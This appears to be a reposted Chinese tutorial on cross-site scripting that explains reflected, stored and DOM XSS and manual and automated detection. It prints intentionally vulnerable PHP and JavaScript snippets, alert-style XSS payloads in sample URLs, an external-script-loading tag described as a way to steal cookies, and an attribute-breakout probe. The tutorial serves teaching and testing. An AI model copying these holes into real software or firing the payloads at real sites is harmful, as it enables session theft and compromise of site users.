[web安全] XSS的原理与分类

来源:互联网 发布:阿里云邮箱客户端下载 编辑:程序博客网 时间:2024/06/05 22:39
XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。
虽然XSS属于客户端攻击,但网站管理员也属于用户,因此攻击者可能靠管理员身份作为“跳板”攻击。

一、XSS原理
JavaScript可以用来获取用户的Cookie、改变网页内容、URL跳转,那么存在XSS漏洞的网站,就可以盗取用户Cookie、黑掉页面、导航到恶意网站。
通常使用<script src="http://www.secbug.org/x.txt"></script>方式来加载外部脚本,而在x.txt中就存放着攻击者的恶意JavaScript代码,这段代码可能是用来盗取用户的Cookie,也可能是监控键盘记录等恶意行为。
备注:JavaScript加载外部的代码文件可以是任意扩展名(无扩展名也可以)

二、XSS类型
2.1反射型XSS
反射型XSS也被称为非持久性XSS,是现在最容易出现的一种XSS漏洞。

XSS的Payload一般是写在URL中,之后设法让被害者点击这个链接。

<?php$username = $_GET['username'];echo $username;?>
http://www.secbug.org/xss.php?username=<script>alert(/xss/)</script>


2.2存储型XSS
存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本。

存储型XSS被服务器端接收并存储,当用户访问该网页时,这段XSS代码被读出来响应给浏览器。

反射型XSS与DOM型XSS都必须依靠用户手动去触发,而存储型XSS却不需要。

测试步骤如下,以留言板为例:
(1)添加正常的留言,使用Firebug快速寻找显示标签
(2)判断内容输出(显示)的地方是在标签内还是在标签属性内,或者在其他地方。如果显示区域不在HTML属性内,则可以直接使用xss代码注入。如果在属性内,需要先闭合标签再写入xss代码。如果不能得知内容输出的具体位置,则可以使用模糊测试方案。
(3)在插入xss payload代码后,重新加载留言页面,xss代码被浏览器执行。

2.3 DOM XSS
DOM的全称为Document Object Model,即文档对象模型。
基于DOM型的XSS是不需要与服务器交互的,它只发生在客户端处理数据阶段。简单理解DOM XSS就是出现在javascript代码中的xss漏洞。
<script>var temp = document.URL;//获取URLvar index = document.URL.indexOf("content=")+4;var par = temp.substring(index);document.write(decodeURI(par));//输入获取内容</script>
如果输入http://www.secbug.org/dom.html?content=<script>alert(/xss/)</script>,就会产生XSS漏洞。

这种利用也需要受害者点击链接来触发,DOM型XSS是前端代码中存在了漏洞,而反射型是后端代码中存在了漏洞。

反射型和存储型xss是服务器端代码漏洞造成的,payload在响应页面中,在dom xss中,payload不在服务器发出的HTTP响应页面中,当客户端脚本运行时(渲染页面时),payload才会加载到脚本中执行。


三、XSS检测
检测XSS一般分为两种方式,一种是手工检测,另一种是软件自动检测。手工检测结果精准,对于较大的web应用程序,自动化的方式更实际,但存在误报和漏报。

3.1 手工检测:

可得知输出位置

需要考虑哪里有输入、输入的数据在什么地方输出。选择有特殊意义的字符,这样可以快速测试是否存在XSS,比如<,>,",',()

无法得知输出位置

(比如,用户提交的内容不会马上显示在网站中,需要管理员审核)

在<div>标签中:<div>XSS Test</div>
在<input>标签中:<input type="text" name="content" value="XSS Test"/>
对于这种情况,通常会采用输入"/>XSS Test来测试。
3.2 全自动检测XSS:
专门的XSS扫描工具有:XSSER,XSSF等
0 0